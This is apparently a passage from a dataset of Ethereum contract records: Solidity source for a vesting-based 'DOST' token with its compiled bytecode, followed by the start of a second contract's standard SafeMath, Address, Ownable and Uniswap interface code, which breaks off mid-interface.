transferableTokens(address holder, uint time, uint number) is the way to provide the * specific logic for limiting token transferability for a holder over time or number. */ function transferableTokens(address holder, uint /* time */, uint /* number */) view public returns (uint256) { return balanceOf(holder); } } /** * @title Vested token * @dev Tokens that can be vested for a group of addresses. */ contract VestedToken is StandardToken, LimitedTransferToken { uint256 MAX_GRANTS_PER_ADDRESS = 20; struct TokenGrant { address granter; // 20 bytes uint256 value; // 32 bytes uint start; uint cliff; uint vesting; // 3 * 8 = 24 bytes bool revokable; bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes? bool timeOrNumber; } // total 78 bytes = 3 sstore per operation (32 per sstore) mapping (address => TokenGrant[]) public grants; event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId); /** * @dev Grant tokens to a specified address * @param _to address The address which the tokens will be granted to. * @param _value uint256 The amount of tokens to be granted. * @param _start uint64 Time of the beginning of the grant. * @param _cliff uint64 Time of the cliff period. * @param _vesting uint64 The vesting period. */ function grantVestedTokens( address _to, uint256 _value, uint _start, uint _cliff, uint _vesting, bool _revokable, bool _burnsOnRevoke, bool _timeOrNumber ) public returns (bool) { // Check for date inconsistencies that may cause unexpected behavior if (_cliff < _start || _vesting < _cliff) { revert(); } // To prevent a user being spammed and have his balance locked (out of gas attack when calculating vesting). if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) revert(); uint count = grants[_to].push( TokenGrant( _revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable _value, _start, _cliff, _vesting, _revokable, _burnsOnRevoke, _timeOrNumber ) ); transfer(_to, _value); emit NewTokenGrant(msg.sender, _to, _value, count - 1); return true; } /** * @dev Revoke the grant of tokens of a specifed address. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. */ function revokeTokenGrant(address _holder, uint _grantId) public returns (bool) { TokenGrant storage grant = grants[_holder][_grantId]; if (!grant.revokable) { // Check if grant was revokable revert(); } if (grant.granter != msg.sender) { // Only granter can revoke it revert(); } address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; uint256 nonVested = nonVestedTokens(grant, now, block.number); // remove grant from array delete grants[_holder][_grantId]; grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)]; grants[_holder].length -= 1; balances[receiver] = balances[receiver].add(nonVested); balances[_holder] = balances[_holder].sub(nonVested); emit Transfer(_holder, receiver, nonVested); return true; } /** * @dev Calculate the total amount of transferable tokens of a holder at a given time * @param holder address The address of the holder * @param time uint The specific time. * @return An uint representing a holder&#39;s total amount of transferable tokens. */ function transferableTokens(address holder, uint time, uint number) view public returns (uint256) { uint256 grantIndex = tokenGrantsCount(holder); if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants // Iterate through all the grants the holder has, and add all non-vested tokens uint256 nonVested = 0; for (uint256 i = 0; i < grantIndex; i++) { nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time, number)); } // Balance - totalNonVested is the amount of tokens a holder can transfer at any given time uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); // Return the minimum of how many vested can transfer and other value // in case there are other limiting transferability factors (default is balanceOf) return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time, number)); } /** * @dev Check the amount of grants that an address has. * @param _holder The holder of the grants. * @return A uint representing the total amount of grants. */ function tokenGrantsCount(address _holder) public view returns (uint index) { return grants[_holder].length; } /** * @dev Calculate amount of vested tokens at a specifc time. * @param tokens uint256 The amount of tokens grantted. * @param time uint64 The time to be checked * @param start uint64 A time representing the begining of the grant * @param cliff uint64 The cliff period. * @param vesting uint64 The vesting period. * @return An uint representing the amount of vested tokensof a specif grant. * transferableTokens * | _/-------- vestedTokens rect * | _/ * | _/ * | _/ * | _/ * | / * | .| * | . | * | . | * | . | * | . | * | . | * +===+===========+---------+----------> time * Start Clift Vesting */ function calculateVestedTokensTime( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { // Shortcuts for before cliff and after vesting cases. if (time < cliff) return 0; if (time >= vesting) return tokens; // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can use just calculate a value // in the vesting rect (as shown in above&#39;s figure) // vestedTokens = tokens * (time - start) / (vesting - start) uint256 vestedTokens = SafeMath.div(SafeMath.mul(tokens, SafeMath.sub(time, start)), SafeMath.sub(vesting, start)); return vestedTokens; } function calculateVestedTokensNumber( uint256 tokens, uint256 number, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { // Shortcuts for before cliff and after vesting cases. if (number < cliff) return 0; if (number >= vesting) return tokens; // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can use just calculate a value // in the vesting rect (as shown in above&#39;s figure) // vestedTokens = tokens * (number - start) / (vesting - start) uint256 vestedTokens = SafeMath.div(SafeMath.mul(tokens, SafeMath.sub(number, start)), SafeMath.sub(vesting, start)); return vestedTokens; } function calculateVestedTokens( bool timeOrNumber, uint256 tokens, uint256 time, uint256 number, uint256 start, uint256 cliff, uint256 vesting) public pure returns (uint256) { if (timeOrNumber) { return calculateVestedTokensTime( tokens, time, start, cliff, vesting ); } else { return calculateVestedTokensNumber( tokens, number, start, cliff, vesting ); } } /** * @dev Get all information about a specifc grant. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. * @return Returns all the values that represent a TokenGrant(address, value, start, cliff, * revokability, burnsOnRevoke, and vesting) plus the vested value at the current time. */ function tokenGrant(address _holder, uint _grantId) public view returns (address granter, uint256 value, uint256 vested, uint start, uint cliff, uint vesting, bool revokable, bool burnsOnRevoke, bool timeOrNumber) { TokenGrant storage grant = grants[_holder][_grantId]; granter = grant.granter; value = grant.value; start = grant.start; cliff = grant.cliff; vesting = grant.vesting; revokable = grant.revokable; burnsOnRevoke = grant.burnsOnRevoke; timeOrNumber = grant.timeOrNumber; vested = vestedTokens(grant, now, block.number); } /** * @dev Get the amount of vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time The time to be checked * @return An uint representing the amount of vested tokens of a specific grant at a specific time. */ function vestedTokens(TokenGrant grant, uint time, uint number) private pure returns (uint256) { return calculateVestedTokens( grant.timeOrNumber, grant.value, uint256(time), uint256(number), uint256(grant.start), uint256(grant.cliff), uint256(grant.vesting) ); } /** * @dev Calculate the amount of non vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time uint64 The time to be checked * @return An uint representing the amount of non vested tokens of a specifc grant on the * passed time frame. */ function nonVestedTokens(TokenGrant grant, uint time, uint number) private pure returns (uint256) { return grant.value.sub(vestedTokens(grant, time, number)); } /** * @dev Calculate the date when the holder can trasfer all its tokens * @param holder address The address of the holder * @return An uint representing the date of the last transferable tokens. */ function lastTokenIsTransferableDate(address holder) view public returns (uint date) { date = now; uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { if (grants[holder][i].timeOrNumber) { date = SafeMath.max256(grants[holder][i].vesting, date); } } } function lastTokenIsTransferableNumber(address holder) view public returns (uint number) { number = block.number; uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { if (!grants[holder][i].timeOrNumber) { number = SafeMath.max256(grants[holder][i].vesting, number); } } } } // QUESTIONS FOR AUDITORS: // - Considering we inherit from VestedToken, how much does that hit at our gas price? // vesting: 365 days, 365 days / 1 vesting contract DOSTToken is VestedToken { //FIELDS string public name = "Dimension Operating System"; string public symbol = "DOST"; uint public decimals = 18; uint public INITIAL_SUPPLY = 138 * 100000000 * 1 ether; uint public iTime; uint public iBlock; // Initialization contract grants msg.sender all of existing tokens. function DOSTToken() public { totalSupply = INITIAL_SUPPLY; iTime = now; iBlock = block.number; address toAddress = msg.sender; balances[toAddress] = totalSupply; grantVestedTokens(toAddress, totalSupply.div(100).mul(35), now, now, now, false, false, true); grantVestedTokens(toAddress, totalSupply.div(100).mul(20), now, now + 365 days, now + 365 days, false, false, true); grantVestedTokens(toAddress, totalSupply.div(100).mul(15), now, now + 730 days, now + 730 days, false, false, true); uint startMine = uint(1054080) + block.number;// 1054080 = (183 * 24 * 60 * 60 / 15) uint finishMine = uint(210240000) + block.number;// 210240000 = (100 * 365 * 24 * 60 * 60 / 15) grantVestedTokens(toAddress, totalSupply.div(100).mul(30), startMine, startMine, finishMine, false, false, false); } // Transfer amount of tokens from sender account to recipient. function transfer(address _to, uint _value) public returns (bool) { // no-op, allow even during crowdsale, in order to work around using grantVestedTokens() while in crowdsale if (_to == msg.sender) return false; return super.transfer(_to, _value); } // Transfer amount of tokens from a specified address to a recipient. // Transfer amount of tokens from sender account to recipient. function transferFrom(address _from, address _to, uint _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function currentTransferableTokens(address holder) view public returns (uint256) { return transferableTokens(holder, now, block.number); } }
0x60606040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302a72a4c811461014257806306fdde0314610173578063095ea7b3146101fd57806318160ddd1461023357806323b872dd146102465780632c71e60a1461026e5780632ff2e9dc146102e5578063313ce567146102f8578063382c52cd1461030b57806344c11fe4146103305780634a8a83db1461034f578063600e85b7146103715780636c182e99146103ee57806370a082311461040d5780637bf261821461042c57806392d252591461045657806395d89b4114610469578063a0eaa5dd1461047c578063a9059cbb1461049b578063c721b6bd146104bd578063dd62ed3e146104f7578063e02f90271461051c578063eb944e4c1461052f578063efe0e4951461034f575b600080fd5b341561014d57600080fd5b610161600160a060020a0360043516610551565b60405190815260200160405180910390f35b341561017e57600080fd5b61018661056c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c25780820151838201526020016101aa565b50505050905090810190601f1680156101ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020857600080fd5b61021f600160a060020a036004351660243561060a565b604051901515815260200160405180910390f35b341561023e57600080fd5b6101616106b3565b341561025157600080fd5b61021f600160a060020a03600435811690602435166044356106b9565b341561027957600080fd5b610290600160a060020a03600435166024356106ce565b604051600160a060020a039098168852602088019690965260408088019590955260608701939093526080860191909152151560a0850152151560c084015290151560e0830152610100909101905180910390f35b34156102f057600080fd5b610161610741565b341561030357600080fd5b610161610747565b341561031657600080fd5b610161600160a060020a036004351660243560443561074d565b341561033b57600080fd5b610161600160a060020a0360043516610885565b341561035a57600080fd5b610161600435602435604435606435608435610892565b341561037c57600080fd5b610393600160a060020a03600435166024356108ea565b604051600160a060020a03909916895260208901979097526040808901969096526060880194909452608087019290925260a0860152151560c0850152151560e0840152901515610100830152610120909101905180910390f35b34156103f957600080fd5b610161600160a060020a0360043516610a16565b341561041857600080fd5b610161600160a060020a0360043516610ad5565b341561043757600080fd5b610161600435151560243560443560643560843560a43560c435610af0565b341561046157600080fd5b610161610b24565b341561047457600080fd5b610186610b2a565b341561048757600080fd5b610161600160a060020a0360043516610b95565b34156104a657600080fd5b61021f600160a060020a0360043516602435610c36565b34156104c857600080fd5b61021f600160a060020a036004351660243560443560643560843560a435151560c435151560e4351515610c6b565b341561050257600080fd5b610161600160a060020a0360043581169060243516610e4d565b341561052757600080fd5b610161610e78565b341561053a57600080fd5b61021f600160a060020a0360043516602435610e7e565b600160a060020a031660009081526004602052604090205490565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106025780601f106105d757610100808354040283529160200191610602565b820191906000526020600020905b8154815290600101906020018083116105e557829003601f168201915b505050505081565b6000811580159061063f5750600160a060020a0333811660009081526002602090815260408083209387168352929052205415155b1561064957600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b60006106c6848484611221565b949350505050565b6004602052816000526040600020818154811015156106e957fe5b6000918252602090912060069091020180546001820154600283015460038401546004850154600590950154600160a060020a03909416965091945092909160ff808216916101008104821691620100009091041688565b60085481565b60075481565b600080600080600061075e88610551565b93508315156107775761077088610ad5565b945061087a565b60009250600091505b8382101561084f57600160a060020a0388166000908152600460205260409020805461084291859161083d9190869081106107b757fe5b906000526020600020906006020161010060405190810160409081528254600160a060020a0316825260018301546020830152600283015490820152600382015460608201526004820154608082015260059091015460ff808216151560a084015261010082048116151560c08401526201000090910416151560e08201528a8a611251565b611272565b9250600190910190610780565b61086161085b89610ad5565b84611281565b9050610877816108728a8a8a611293565b61129e565b94505b505050509392505050565b60006106ad82424361074d565b600080838610156108a657600091506108e0565b8286106108b5578691506108e0565b6108da6108cb886108c68989611281565b6112b4565b6108d58588611281565b6112d8565b90508091505b5095945050505050565b600080600080600080600080600080600460008d600160a060020a0316600160a060020a031681526020019081526020016000208b81548110151561092b57fe5b60009182526020909120600690910201805460018201546002830154600384015460048501546005860154600160a060020a039095169f50929d50909a509850965060ff80821696506101008083048216965062010000909204169350909150610a0690829060405190810160409081528254600160a060020a0316825260018301546020830152600283015490820152600382015460608201526004820154608082015260059091015460ff808216151560a084015261010082048116151560c08401526201000090910416151560e082015242436112ef565b9750509295985092959850929598565b600160a060020a03811660009081526004602052604081205442915b81811015610ace57600160a060020a0384166000908152600460205260409020805482908110610a5e57fe5b906000526020600020906006020160050160029054906101000a900460ff1615610ac657600160a060020a03841660009081526004602052604090208054610ac3919083908110610aab57fe5b90600052602060002090600602016004015484611314565b92505b600101610a32565b5050919050565b600160a060020a031660009081526001602052604090205490565b60008715610b0c57610b058787868686610892565b9050610b19565b610b058786868686610892565b979650505050505050565b600a5481565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106025780601f106105d757610100808354040283529160200191610602565b600160a060020a03811660009081526004602052604081205443915b81811015610ace57600160a060020a0384166000908152600460205260409020805482908110610bdd57fe5b906000526020600020906006020160050160029054906101000a900460ff161515610c2e57600160a060020a03841660009081526004602052604090208054610c2b919083908110610aab57fe5b92505b600101610bb1565b600033600160a060020a031683600160a060020a03161415610c5a575060006106ad565b610c648383611324565b9392505050565b60008087871080610c7b57508686105b15610c8557600080fd5b600354610c918b610551565b1115610c9c57600080fd5b600160a060020a038a166000908152600460205260409020805460018101610cc4838261154b565b916000526020600020906006020160006101006040519081016040528089610ced576000610cef565b335b600160a060020a031681526020018d81526020018c81526020018b81526020018a81526020018915158152602001881515815260200187151581525090919091506000820151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151816001015560408201518160020155606082015181600301556080820151816004015560a082015160058201805460ff191691151591909117905560c08201516005820180549115156101000261ff001990921691909117905560e082015160059091018054911515620100000262ff000019909216919091179055509050610deb8a8a610c36565b5089600160a060020a031633600160a060020a03167ff9565aecd648a0466ffb964a79eeccdf1120ad6276189c687a6e9fe73984d9bb8b6001850360405191825260208201526040908101905180910390a35060019998505050505050505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60095481565b600160a060020a038216600090815260046020526040812080548291829182919086908110610ea957fe5b60009182526020909120600690910201600581015490935060ff161515610ecf57600080fd5b825433600160a060020a03908116911614610ee957600080fd5b6005830154610100900460ff16610f005733610f04565b61dead5b9150610f828361010060405190810160409081528254600160a060020a0316825260018301546020830152600283015490820152600382015460608201526004820154608082015260059091015460ff808216151560a084015261010082048116151560c08401526201000090910416151560e08201524243611251565b600160a060020a038716600090815260046020526040902080549192509086908110610faa57fe5b600091825260208083206006909202909101805473ffffffffffffffffffffffffffffffffffffffff191681556001808201849055600282018490556003820184905560048083018590556005909201805462ffffff19169055600160a060020a038a168452915260409091208054909161102b919063ffffffff61128116565b8154811061103557fe5b90600052602060002090600602016004600088600160a060020a0316600160a060020a031681526020019081526020016000208681548110151561107557fe5b600091825260208083208454600690930201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03938416178155600180860154908201556002808601549082015560038086015490820155600480860154818301556005958601805496909201805460ff978816151560ff1990911617808255835461010090819004891615150261ff00199091161780825592546201000090819004909716151590960262ff00001990921691909117909455908916825291909152604090208054600019019061114c908261154b565b50600160a060020a038216600090815260016020526040902054611176908263ffffffff61127216565b600160a060020a0380841660009081526001602052604080822093909355908816815220546111ab908263ffffffff61128116565b600160a060020a038088166000818152600160205260409081902093909355908416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a350600195945050505050565b600080838610156108a657600091506108e0565b6000838261123082424361074d565b81111561123c57600080fd5b611247868686611352565b9695505050505050565b60006106c66112618585856112ef565b85602001519063ffffffff61128116565b600082820183811015610c6457fe5b60008282111561128d57fe5b50900390565b60006106c684610ad5565b60008183106112ad5781610c64565b5090919050565b60008282028315806112d057508284828115156112cd57fe5b04145b1515610c6457fe5b60008082848115156112e657fe5b04949350505050565b60006106c68460e0015185602001518585886040015189606001518a60800151610af0565b6000818310156112ad5781610c64565b6000338261133382424361074d565b81111561133f57600080fd5b6113498585611479565b95945050505050565b6000806060606436101561136557600080fd5b600160a060020a0380871660009081526002602090815260408083203385168452825280832054938916835260019091529020549092506113ac908563ffffffff61127216565b600160a060020a0380871660009081526001602052604080822093909355908816815220546113e1908563ffffffff61128116565b600160a060020a03871660009081526001602052604090205561140a828563ffffffff61128116565b600160a060020a03808816600081815260026020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b60006040604436101561148b57600080fd5b600160a060020a0333166000908152600160205260409020546114b4908463ffffffff61128116565b600160a060020a0333811660009081526001602052604080822093909355908616815220546114e9908463ffffffff61127216565b600160a060020a0380861660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b81548183558181151161157757600602816006028360005260206000209182019101611577919061157c565b505050565b6115db91905b808211156115d757805473ffffffffffffffffffffffffffffffffffffffff191681556000600182018190556002820181905560038201819055600482015560058101805462ffffff19169055600601611582565b5090565b905600a165627a7a723058207fbc2c59180f56dd21d68d6231b1bbc56cafff634a64f9756fe9c5eafee863220029
[ 4, 18 ]
0xf22d956227235481347599e22c6570f0f50886f0
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view 